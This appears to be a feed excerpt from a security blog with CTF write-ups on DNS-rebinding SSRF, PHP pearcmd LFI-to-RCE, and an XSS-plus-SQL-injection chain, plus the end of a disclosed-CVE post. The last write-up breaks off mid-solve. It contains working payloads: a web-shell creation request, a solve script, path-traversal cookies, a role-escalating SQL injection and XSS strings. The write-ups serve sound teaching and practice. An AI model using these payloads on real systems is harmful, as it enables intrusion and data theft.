&lt;p&gt;This took multiple days and hours upon hours of sitting in call trying random ideas, reading code, fixing local setup problems, and testing the chain over and over.&lt;/p&gt;
&lt;p&gt;When the shell finally popped, we were screaming.&lt;/p&gt;
&lt;p&gt;The video is muted, but trust me, we were freaking the hell out at 4 AM seeing the fruits of our labour.&lt;/p&gt;
&lt;p&gt;&amp;lt;video controls src=&quot;./markus-assets/rce.LRiG6VtU.mp4&quot; title=&quot;Local RCE proof of concept&quot;&amp;gt;&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;h1&gt;Reporting&lt;/h1&gt;
&lt;p&gt;After confirming the chain locally, we wrote everything up through GitHub Security Advisories and talked with the professors through Teams.&lt;/p&gt;
&lt;p&gt;We also helped patch the issues, which was honestly a really valuable part of the whole project. Finding bugs is fun, but fixing them teaches you a different side of security.&lt;/p&gt;
&lt;p&gt;The relevant CVEs were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CVE-2026-24900&lt;/code&gt; - submission preview IDOR.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CVE-2026-28405&lt;/code&gt; - stored XSS in submitted-file previews.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CVE-2026-25057&lt;/code&gt; - zip slip arbitrary file write leading to RCE.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Afterthoughts&lt;/h1&gt;
&lt;p&gt;Honestly, this was one of the coolest security projects I have worked on so far.&lt;/p&gt;
&lt;p&gt;It was really satisfying seeing CTF and HTB skills transfer into a real vulnerability chain. The biggest lesson for me was probably perseverance. The first bug was small, but by digging deeper and not giving up, it turned into something much more serious.&lt;/p&gt;
&lt;p&gt;Also, I learned that sometimes the real exploit is getting the Docker setup to work.&lt;/p&gt;
&lt;p&gt;Anyways, thanks for reading! 😊&lt;/p&gt;
</content:encoded></item><item><title>K17 CTF - Web - janus</title><link>https://rizfol.github.io/posts/k17-ctf-2025/janus/</link><guid isPermaLink="true">https://rizfol.github.io/posts/k17-ctf-2025/janus/</guid><description>LET&apos;S GO GAMBLING!1!!11!!!! (DNS rebinding)</description><pubDate>Sun, 21 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hello dear reader! Today, we are going to look at a web challenge involving a DNS rebinding attack.&lt;/p&gt;
&lt;h1&gt;Challenge Description:&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;Someone hacked my space image viewer, but it&apos;s 100% secure now! Note: Attacking nasa&apos;s API is out of scope for this challenge
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;The Rundown&lt;/h1&gt;
&lt;p&gt;Ok, so before we actually look at the code, let me tell you about the website. So this site let&apos;s us search for images from NASA using their API.&lt;/p&gt;
&lt;p&gt;It&apos;s hiding a secret though... there is an internal server, serving the flag.&lt;/p&gt;
&lt;p&gt;But, how do we get to it? Well from the code you will be able to read below, it checks if the url we send it to resolves to one of NASA&apos;s IP addresses and then it shows us the page content if it doesn&apos;t error out.&lt;/p&gt;
&lt;h1&gt;Reading the Code&lt;/h1&gt;
&lt;p&gt;Here is the code we are interacting with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#main.py
from flask import Flask, request, Response, abort, render_template
import time
import socket
import requests
from urllib.parse import urlparse

app = Flask(__name__)

# Resolve NASA&apos;s IP at startup
NASA_HOST = &quot;images-api.nasa.gov&quot;

@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)

@app.route(&quot;/api&quot;)
def api():
    NASA_IPS = set(socket.gethostbyname_ex(NASA_HOST)[2]).union({&apos;3.175.115.68&apos;, &apos;3.175.115.60&apos;, &apos;3.175.115.113&apos;, &apos;3.175.115.52&apos;})

    target_url = request.args.get(&quot;url&quot;)
    if not target_url:
        abort(400, &quot;Missing url parameter&quot;)

    # Parse the target URL
    parsed = urlparse(target_url)
    if not parsed.scheme:
        target_url = &quot;https://&quot; + target_url  # assume https if missing
        parsed = urlparse(target_url)

    hostname = parsed.hostname
    if not hostname:
        abort(400, &quot;Invalid URL&quot;)

    # Prevent users brute forcing our api
    time.sleep(1)
    try:
        resolved_ip = socket.gethostbyname(hostname)
    except socket.gaierror as e:
        abort(400, &quot;Unable to resolve hostname&quot;)

    # Verify that the url provided resolve&apos;s to NASA&apos;s IP address
    if resolved_ip not in NASA_IPS:
        abort(403, &quot;URL does not resolve to NASA&quot;)

    # Fetch and stream the content
    try:
        r = requests.get(target_url, stream=True, timeout=5)
        if r.status_code == 429:
            abort(429, f&quot;Rate limited by NASA. (This challenge is still solvable)&quot;)

        r.raise_for_status()
    except requests.RequestException as e:
        print(&quot;failed to fetch&quot;, target_url, e)
        abort(502, &quot;Failed to fetch data&quot;)

    return Response(
        r.iter_content(chunk_size=8192),
        content_type=r.headers.get(&quot;Content-Type&quot;, &quot;application/octet-stream&quot;),
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the stuff they don&apos;t want us to get to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#internal_app.py
from flask import Flask, request, Response, abort

app = Flask(__name__)

@app.route(&quot;/&quot;)
def root():
    return &quot;the flag will go here&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the Dockerfile if you were wondering how I know what the ports are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM python:3.13.7-slim-trixie

RUN pip install --no-cache-dir waitress flask requests

WORKDIR /app
COPY . .

USER nobody

CMD waitress-serve --listen &quot;127.0.0.1:5001&quot; internal_app:app &amp;amp; \
    waitress-serve --listen &quot;0.0.0.0:1337&quot; --trusted-proxy &apos;*&apos; --trusted-proxy-headers &apos;x-forwarded-for x-forwarded-proto x-forwarded-port&apos; --log-untrusted-proxy-headers --clear-untrusted-proxy-headers --threads 4 main:app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those forwarded for headers don&apos;t affect the challenge by the way, it&apos;s because the remote instance sits behind a proxy. You can ignore them.&lt;/p&gt;
&lt;p&gt;Alrighty, so from the code above, we can control the url parameter and if we can send it to &lt;code&gt;127.0.0.1:5001&lt;/code&gt;, we will get the flag back as a response. How though?&lt;/p&gt;
&lt;h1&gt;DNS Rebinding&lt;/h1&gt;
&lt;p&gt;So, DNS rebinding is going to be the key to solving the challenge here. What this helps us do is change what our url resolves to and if we time it right, we can exploit a &lt;code&gt;Time Of Check Time Of Use (TOCTOU)&lt;/code&gt; vulnerability, (I pronounce it as &lt;code&gt;/tɔk ˈtu.ə/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;What do I mean by time it right though? Well for this attack, if we aren&apos;t lazy, we can set up a DNS server for our domain and return DNS packets with a very small Time To Live (TTL). During this short TTL window, we need to change the DNS A record to be &lt;code&gt;127.0.0.1&lt;/code&gt;. Since the TTL is small, the cached entry for the previous IP address (A record) expires quickly and becomes invalid. This forces the server to requery the DNS server and it will now resolve to &lt;code&gt;127.0.0.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So, during the check, the url will resolve to one of NASA&apos;s IP addresses and pass, then it will resolve to &lt;code&gt;127.0.0.1&lt;/code&gt; which will grant us access to the internal server with the flag on it.&lt;/p&gt;
&lt;h1&gt;How Do We Actually Do This?&lt;/h1&gt;
&lt;p&gt;Well, I&apos;m lazy so I just looked for some off-the-shelf solution and found this: &lt;a href=&quot;https://lock.cmpxchg8b.com/rebinder.html&quot;&gt;https://lock.cmpxchg8b.com/rebinder.html&lt;/a&gt; &lt;a href=&quot;https://github.com/taviso/rbndr&quot;&gt;(repo for the project)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;From the site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;To use this page, enter two ip addresses you would like to switch between. The hostname generated will resolve randomly to one of the addresses specified with a very low ttl.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, we just enter one of the NASA IPs such as &lt;code&gt;3.175.115.68&lt;/code&gt; and &lt;code&gt;127.0.0.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once we have the link, we can visit &lt;code&gt;https://janus.secso.cc/api?url=03af7344.7f000001.rbndr.us:5001/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When trying this locally it was pretty consistent, working about every other attempt, but for some reason remote didn&apos;t want to cooperate.&lt;/p&gt;
&lt;p&gt;I&apos;m guessing this is because of the random DNS resolution and the remote instance erroring for some reason leading to a bunch of &lt;code&gt;403s&lt;/code&gt; and &lt;code&gt;502s&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./janusgambling1.png&quot; alt=&quot;gambling 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is where the gambling comes into play:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./janusgambling2.png&quot; alt=&quot;gambling 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTICE:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./janusgambling3.png&quot; alt=&quot;gambling 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It took a while and felt just like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./casino-oldpeople.gif&quot; alt=&quot;gif of people gambling&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Afterthoughts&lt;/h1&gt;
&lt;p&gt;Honestly, I should&apos;ve written a script to automate this but I was too lazy to and decided clicking resend request 784 times was better.&lt;/p&gt;
&lt;p&gt;Also this was a pretty cool CTF challenge, I finally got to put into practice an attack I&apos;ve only heard about before.&lt;/p&gt;
&lt;p&gt;Thanks for reading! 😊&lt;/p&gt;
</content:encoded></item><item><title>ToH CTF 2025 - Web - ToH Wedding</title><link>https://rizfol.github.io/posts/toh-ctf-2025/tohwedding/</link><guid isPermaLink="true">https://rizfol.github.io/posts/toh-ctf-2025/tohwedding/</guid><description>pearcmd lfi</description><pubDate>Mon, 08 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Gist&lt;/h1&gt;
&lt;p&gt;The big idea here is that we can change our lang cookie to be whatever and it will include that php file. In this case what we want to do is include &lt;code&gt;pearcmd.php&lt;/code&gt; to create a file that allows us to get RCE.&lt;/p&gt;
&lt;h1&gt;Important Code&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;// lang.php
&amp;lt;?php
session_start();

if (isset($_GET[&apos;lang&apos;])) {
  $lang = $_GET[&apos;lang&apos;];
  // we don&apos;t trust the GET parameter, comes from the user
  if ($lang != &apos;en&apos; &amp;amp;&amp;amp; $lang != &apos;it&apos;) {
    // default if lang is not valid, is italian
    $lang = &apos;it&apos;;
  }
  // Register the session and set the cookie
  $_SESSION[&apos;lang&apos;] = $lang;
  setcookie(&apos;lang&apos;, $lang, time() + (3600 * 24 * 30));
} else if (isset($_SESSION[&apos;lang&apos;])) {
  $lang = $_SESSION[&apos;lang&apos;];
} else if (isset($_COOKIE[&apos;lang&apos;])) {
  // cookie is safe, we set it ourself
  $lang = $_COOKIE[&apos;lang&apos;];
} else {
  // default language is browser language
  $lang = substr($_SERVER[&apos;HTTP_ACCEPT_LANGUAGE&apos;], 0, 2);
  if ($lang != &apos;en&apos; &amp;amp;&amp;amp; $lang != &apos;it&apos;) {
    // default if browser is not valid, is italian
    $lang = &apos;it&apos;;
  }
}

// include the language file
include &apos;lang/&apos; . $lang . &apos;.php&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see here, it will include our cookie value with .php appended to it. I also ran into a problem of it not working and that is because if you already have a &lt;code&gt;PHPSESSID&lt;/code&gt;, it will just get the &lt;code&gt;lang&lt;/code&gt; value from that. So if you are doing this manually make sure to delete it.&lt;/p&gt;
&lt;h1&gt;Flag?&lt;/h1&gt;
&lt;p&gt;So, looking through the handout, the flag is in &lt;code&gt;rsvp_X.csv&lt;/code&gt;, the problem is though that in &lt;code&gt;entrypoint.sh&lt;/code&gt;, they rename it with some random number in place of &lt;code&gt;X&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
SECRET=$(openssl rand -hex 16)

export RSVP_PATH=rsvp_$SECRET.csv

mv /var/www/html/rsvp_X.csv /var/www/html/$RSVP_PATH

exec &quot;$@&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So this means its basically impossible to include this file as we would need to know it&apos;s full name.&lt;/p&gt;
&lt;h1&gt;The Search&lt;/h1&gt;
&lt;p&gt;For a while, I was stuck and didn&apos;t know what to do. I even tried including the file with the flag in it, but that doesn&apos;t even make sense as we don&apos;t know the name of it and &lt;code&gt;.php&lt;/code&gt; is appended to it. So, after a couple of hours, I figured that we probably needed to find some useful php file.&lt;/p&gt;
&lt;p&gt;This is what led me to &lt;code&gt;docker exec -it &amp;lt;container-id&amp;gt; /bin/bash&lt;/code&gt;&apos;ing and searching around the container. At some point I eventually stumbled into &lt;code&gt;/usr/local/lib/php/&lt;/code&gt; and found some very interesting files with &lt;code&gt;cmd&lt;/code&gt; in their names. Is this it chat?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@container-id:/usr/local/lib/php# ls
Archive  Console  OS  PEAR  PEAR.php  Structures  System.php  XML  build  data doc  extensions  pearcmd.php  peclcmd.php  test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, I searched stuff up about these and found this saying that we can actually use &lt;code&gt;pearcmd.php&lt;/code&gt; to get RCE.&lt;/p&gt;
&lt;p&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-47945&lt;/p&gt;
&lt;p&gt;https://h4ndsh.github.io/2023/phpinfo/&lt;/p&gt;
&lt;p&gt;Alright, so now we just have to set our cookie to &lt;code&gt;../../../../usr/local/lib/php/pearcmd&lt;/code&gt; to do some path traversal and use it to create a php file that will allow us to run commands.&lt;/p&gt;
&lt;p&gt;This is what happens with the malicious lang.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include &apos;lang/&apos; . &apos;../../../../usr/local/lib/php/pearcmd&apos; . &apos;.php&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Getting RCE&lt;/h1&gt;
&lt;p&gt;After consulting my friend who works at OpenAI, it gave me this which creates a php file named &lt;code&gt;shell.php&lt;/code&gt; in &lt;code&gt;/tmp/&lt;/code&gt; that runs whatever command we put in the &lt;code&gt;0&lt;/code&gt; parameter.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?+config-create+/&amp;amp;file=/usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=`$_GET[0]`?&amp;gt;+/tmp/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One problem I ran into was my browser automatically url-encoding the &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt;, so I needed to make a get request without it doing that.&lt;/p&gt;
&lt;p&gt;Anyways, we can use the the same trick as before and set our lang cookie to be &lt;code&gt;../../../../tmp/shell.php&lt;/code&gt; and once we have that included, we can just visit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?0=cat%20/var/www/html/rsvp_*.csv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and we get the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ToHCTF2025webwedding.png&quot; alt=&quot;flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I have created a solve script afterwards:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import http.client

conn = http.client.HTTPConnection(&quot;localhost&quot;, 8000)

raw_path = &quot;/?+config-create+/&amp;amp;file=/usr/local/lib/php/pearcmd.php&amp;amp;/&amp;lt;?=`$_GET[0]`?&amp;gt;+/tmp/shell.php&quot;
headers = {
    &quot;Cookie&quot;: &quot;lang=../../../../usr/local/lib/php/pearcmd&quot;
}
conn.request(&quot;GET&quot;, raw_path, headers=headers)
response = conn.getresponse()
print(response.read().decode())

raw_path = &quot;/?0=cat%20/var/www/html/rsvp_*.csv&quot;
headers = {
    &quot;Cookie&quot;: &quot;lang=../../../../tmp/shell&quot;
}
conn.request(&quot;GET&quot;, raw_path, headers=headers)
response = conn.getresponse()
print(response.read().decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Learnings&lt;/h1&gt;
&lt;p&gt;So after some research, I figured out the reason why &lt;code&gt;pearcmd.php&lt;/code&gt; is in here in the first place is because it&apos;s included by default in this php server image on docker.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM php:8.1-apache
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways, thanks for reading, this is one of the more memorable challenges I&apos;ve done because I essentially got really lucky stumbling into &lt;code&gt;/usr/local/lib/php/&lt;/code&gt;. I also figured most of this stuff by myself, so the research part of it was really fun too. I will admit though, I got a &lt;em&gt;little&lt;/em&gt; help from my friend at OpenAI.&lt;/p&gt;
&lt;p&gt;Thanks for reading! 😊&lt;/p&gt;
</content:encoded></item><item><title>ASIS CTF 2025 - Web ScrapScrap1 Revenge &amp; ScrapScrap2 Writeup</title><link>https://rizfol.github.io/posts/asis-ctf-2025/scrapscrap1and2/</link><guid isPermaLink="true">https://rizfol.github.io/posts/asis-ctf-2025/scrapscrap1and2/</guid><description>I LOVE WEB</description><pubDate>Mon, 08 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hello all, I played this CTF with &lt;code&gt;UofTCTF&lt;/code&gt; and we solved this with the power of friendship.&lt;/p&gt;
&lt;h1&gt;Gist of it&lt;/h1&gt;
&lt;p&gt;This challenge has 2 flags, one requiring our &lt;code&gt;role&lt;/code&gt; to be set to &lt;code&gt;user&lt;/code&gt; in the database and the other requiring us to set our &lt;code&gt;scrap_dir&lt;/code&gt; to &lt;code&gt;/&lt;/code&gt; to view the flag on the server.&lt;/p&gt;
&lt;p&gt;The big idea is that we have a bot we can XSS at &lt;code&gt;/checker?url=payload&lt;/code&gt; to create a log at &lt;code&gt;/debug/create_log&lt;/code&gt; to perform &lt;code&gt;SQLI&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Important Code&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;SteakEnthusiast&lt;/code&gt; figured out most of this part.&lt;/p&gt;
&lt;p&gt;If we can cause an error, i.e. getting it to wait longer than 8 seconds, we can get XSS. This is because we can create a payload that gets past &lt;code&gt;DOMPurify&lt;/code&gt; and once an error happens &lt;code&gt;.textContent&lt;/code&gt; in the &lt;code&gt;somethingWentWrong&lt;/code&gt; function will take our payload and put malicious HTML on the page.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// /src/public/checker.js
async function main() {
  const params = new URLSearchParams(window.location.search);
  const url = params.get(&quot;url&quot;);
  if(url) {
    setTimeout(() =&amp;gt; {
      somethingWentWrong();
    }, 8000);
    document.getElementById(&quot;div_url&quot;).style.visibility = &apos;visible&apos;;
    let url_cleaned = DOMPurify.sanitize(url);
    document.getElementById(&quot;msg_url&quot;).innerHTML = url_cleaned;
    const input = document.createElement(&quot;input&quot;);
    input.name = &quot;url&quot;;
    input.type = &quot;url&quot;;
    input.id = &quot;input_url&quot;
    input.required = true;
    input.value = url;
    const form = document.getElementById(&quot;scrap_form&quot;);
    form.appendChild(input);
    form.submit();
  } else {
    document.getElementById(&quot;div_url&quot;).remove();
    document.getElementById(&quot;error_url&quot;).remove();
    document.getElementById(&quot;input&quot;).innerHTML = &apos;&amp;lt;input name=&quot;url&quot; type=&quot;url&quot; required placeholder=&quot;https://exemple.com&quot; /&amp;gt;&apos;;
  }
}

function somethingWentWrong() {
  let url = document.getElementById(&quot;msg_url&quot;).textContent;
  let error = document.getElementById(&quot;error_url&quot;);
  error.style.visibility = &apos;visible&apos;;
  error.innerHTML = `Something went wrong while scrapping ${url}`;
}

main();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful note: &lt;code&gt;/me&lt;/code&gt; allows you to get your id and you can use it to save characters in your SQL query.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// auth.js
router.post(&apos;/debug/create_log&apos;, requireAuth, (req, res) =&amp;gt; {
  if(req.session.user.role === &quot;user&quot;) {
    //rework this with the new sequelize schema
    if(req.body.log !== undefined
      &amp;amp;&amp;amp; !req.body.log.includes(&apos;/&apos;)
      &amp;amp;&amp;amp; !req.body.log.includes(&apos;-&apos;)
      &amp;amp;&amp;amp; req.body.log.length &amp;lt;= 50
      &amp;amp;&amp;amp; typeof req.body.log === &apos;string&apos;) {
        database.exec(`
          INSERT INTO logs
          VALUES(&apos;${req.body.log}&apos;);
          SELECT *
          FROM logs
          WHERE entry = &apos;${req.body.log}&apos;
          LIMIT 1;
        `, (err) =&amp;gt; {});
    }
    res.redirect(&apos;/&apos;);
  } else {
    res.redirect(&apos;/checker&apos;);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag is accessible to us if we can set our role to be user.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// scrap.ejs
&amp;lt;% if (user.username != &quot;superbot&quot;) { %&amp;gt;
  &amp;lt;p&amp;gt;Goodjob, the flag is: ASIS{FAKE_FLAG1}&amp;lt;/p&amp;gt;
&amp;lt;% } else { %&amp;gt;
  &amp;lt;p&amp;gt;Welcome owner :heart:&amp;lt;/p&amp;gt;
&amp;lt;% } %&amp;gt;
&amp;lt;h2&amp;gt;Scrapper&amp;lt;/h2&amp;gt;
&amp;lt;form action=&quot;/scrap/run&quot; method=&quot;post&quot; class=&quot;card&quot;&amp;gt;
  &amp;lt;label&amp;gt;Website you want to scrap
    &amp;lt;input name=&quot;url&quot; type=&quot;url&quot; required placeholder=&quot;https://exemple.com&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;button&amp;gt;Scrap scrap scrap !&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Story of the Solve&lt;/h1&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Initial Findings&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Ibrahim&lt;/code&gt; and I started looking at this challenge together and we immediately looked for how to get flag 1. We saw that it was in &lt;code&gt;scrap.ejs&lt;/code&gt;, accessible at &lt;code&gt;/scrap&lt;/code&gt;, and that we needed our username to not be &lt;code&gt;superbot&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app.js
app.use(&apos;/&apos;, authRouter);
app.use(&apos;/checker&apos;, checkerRouter);
app.use(&apos;/files&apos;, requireUser, filesRouter);
app.use(&apos;/scrap&apos;, requireUser, scrapRouter);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s also this condition where we needed our &lt;code&gt;role&lt;/code&gt; to be &lt;code&gt;user&lt;/code&gt;. By default, when we create a new account, our role is set to &lt;code&gt;demo&lt;/code&gt; which can be see in &lt;code&gt;db.js&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// db.js
async function initDb() {
  await getDb();
  await exec(`
    PRAGMA foreign_keys = ON;
    CREATE TABLE IF NOT EXISTS users (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT NOT NULL UNIQUE,
      password TEXT NOT NULL,
      data_dir TEXT NOT NULL UNIQUE CHECK(length(data_dir)=8),
      scrap_dir TEXT NOT NULL UNIQUE,
      role TEXT NOT NULL DEFAULT &apos;demo&apos;
    );
    CREATE TABLE IF NOT EXISTS logs (
      entry TEXT NOT NULL
    );
    CREATE TRIGGER IF NOT EXISTS users_immutable_dirs
    BEFORE UPDATE ON users
    FOR EACH ROW
    WHEN NEW.data_dir IS NOT OLD.data_dir OR NEW.scrap_dir IS NOT OLD.scrap_dir
    BEGIN
      SELECT RAISE(ABORT, &apos;data_dir and scrap_dir are immutable&apos;);
    END;
  `);.
... (skipping code fr fr)
  await database.query(`
    UPDATE users SET role=&apos;user&apos; WHERE id=1; // the bot is made a user
  `);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SQL Injection?&lt;/h3&gt;
&lt;p&gt;Alright, so the next thing we found was in &lt;code&gt;auth.js&lt;/code&gt;, where we could potentially perform SQL injection.&lt;/p&gt;
&lt;p&gt;You&apos;ll notice that this can only be used if your account&apos;s role is &lt;code&gt;user&lt;/code&gt;, so this is where we have to use XSS on the bot. The biggest problem here though is that our input is used TWICE and the changes only happen if the whole query is valid.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// auth.js
router.post(&apos;/debug/create_log&apos;, requireAuth, (req, res) =&amp;gt; {
  if(req.session.user.role === &quot;user&quot;) {
    //rework this with the new sequelize schema
    if(req.body.log !== undefined
      &amp;amp;&amp;amp; !req.body.log.includes(&apos;/&apos;)
      &amp;amp;&amp;amp; !req.body.log.includes(&apos;-&apos;)
      &amp;amp;&amp;amp; req.body.log.length &amp;lt;= 50
      &amp;amp;&amp;amp; typeof req.body.log === &apos;string&apos;) {
        database.exec(`
          INSERT INTO logs
          VALUES(&apos;${req.body.log}&apos;);
          SELECT *
          FROM logs
          WHERE entry = &apos;${req.body.log}&apos;
          LIMIT 1;
        `, (err) =&amp;gt; {});
    }
    res.redirect(&apos;/&apos;);
  } else {
    res.redirect(&apos;/checker&apos;);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that there are restrictions as well, so we cannot comment stuff out because &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;-&lt;/code&gt; are not allowed to be included and the payload must be at most &lt;code&gt;50&lt;/code&gt; chars in length.&lt;/p&gt;
&lt;p&gt;I spent a good 5 hours trying to get something to work, but my GOAT &lt;code&gt;nullptr&lt;/code&gt; flew in to save the day and suggested using quotes to consume parts of the query. Something of this form &lt;code&gt;&apos;) ... &apos;&lt;/code&gt; and &lt;code&gt;SteakEnthusiast&lt;/code&gt; came up with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;);UPDATE users SET role=&quot;user&quot;;SELECT &quot;1&quot;||&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;INSERT INTO logs
VALUES(&apos;);UPDATE users SET role=&quot;user&quot;;SELECT &quot;1&quot;||&apos;&apos;);
SELECT *
FROM logs
WHERE entry = &apos;);UPDATE users SET role=&quot;user&quot;;SELECT &quot;1&quot;||&apos;&apos;
LIMIT 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, this payload works because it turns the first part into a string and terminates the statement. Then we can run our injected payload which turns everyone into a user.&lt;/p&gt;
&lt;p&gt;Now, we needed to get the XSS to work properly.&lt;/p&gt;
&lt;h3&gt;XSS&lt;/h3&gt;
&lt;p&gt;The file of interest here is &lt;code&gt;checker.js&lt;/code&gt;, this allows us to send the bot to some link, but also XSS it because of the &lt;code&gt;url&lt;/code&gt; parameter from earlier.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// /src/routes/checker.js
const express = require(&apos;express&apos;);
const { requireAuth } = require(&apos;../middleware&apos;);
const { visitUserWebsite } = require(&apos;../services/bot&apos;);

const router = express.Router();

router.get(&apos;/&apos;, requireAuth, async (_, res) =&amp;gt; {
  res.render(&apos;checker&apos;);
});

router.post(&apos;/visit&apos;, requireAuth, async (req, res) =&amp;gt; {
  const { url } = req.body;
  try {
    if(!url.startsWith(&quot;http://&quot;) &amp;amp;&amp;amp; !url.startsWith(&quot;https://&quot;)) {
      req.session.flash = { type: &apos;error&apos;, message: &apos;Invalid URL.&apos; };
    } else {
      await visitUserWebsite(url, req.session.user.data_dir);
      req.session.flash = { type: &apos;success&apos;, message: &apos;Your website can definitely be scrap, be careful...&apos; };
    }
  } catch (e) {
    console.log(e);
    req.session.flash = { type: &apos;error&apos;, message: `An error occured.` };
  }
  res.redirect(&apos;/checker&apos;);
});

module.exports = router;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see that we need the bot to visit &lt;code&gt;/checker?url=http://localhost:3000/&amp;lt;malicious&amp;gt;&lt;/code&gt; and after that, we can have our malicious &lt;code&gt;img&lt;/code&gt; tag inserted to do XSS.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Ibrahim&lt;/code&gt; figured that you can just set up a server that takes like 10 seconds to respond so that the error will trigger. Once you have that you can append a payload like this to it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://&amp;lt;host&amp;gt;/%26lt%3Bimg%20src%3D%27x%27%20onerror%3Dalert%281%29%26gt%3B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which is just this url-encoded&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;amp;lt;img src=&apos;x&apos; onerror=alert(1)&amp;amp;gt; -&amp;gt; &amp;lt;img src=&apos;x&apos; onerror=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From what I interpreted from &lt;code&gt;SteakEnthusiast&lt;/code&gt;&apos;s explanation, the reason why we use &lt;code&gt;&amp;amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;amp;gt;&lt;/code&gt; is because &lt;code&gt;DOMPurify&lt;/code&gt; thinks it is safe, so it lets it pass through, and something happens with &lt;code&gt;.textContent&lt;/code&gt; and &lt;code&gt;.innerHTML&lt;/code&gt; in &lt;code&gt;somethingWentWrong&lt;/code&gt; that causes it to render.&lt;/p&gt;
&lt;p&gt;Alright, so now that we have all of this, we can build our malicious URL. We are sending it to localhost:3000 because that is the port the service is running on for the bot.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:3000/checker?url=https://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/{XSS_PAYLOAD}

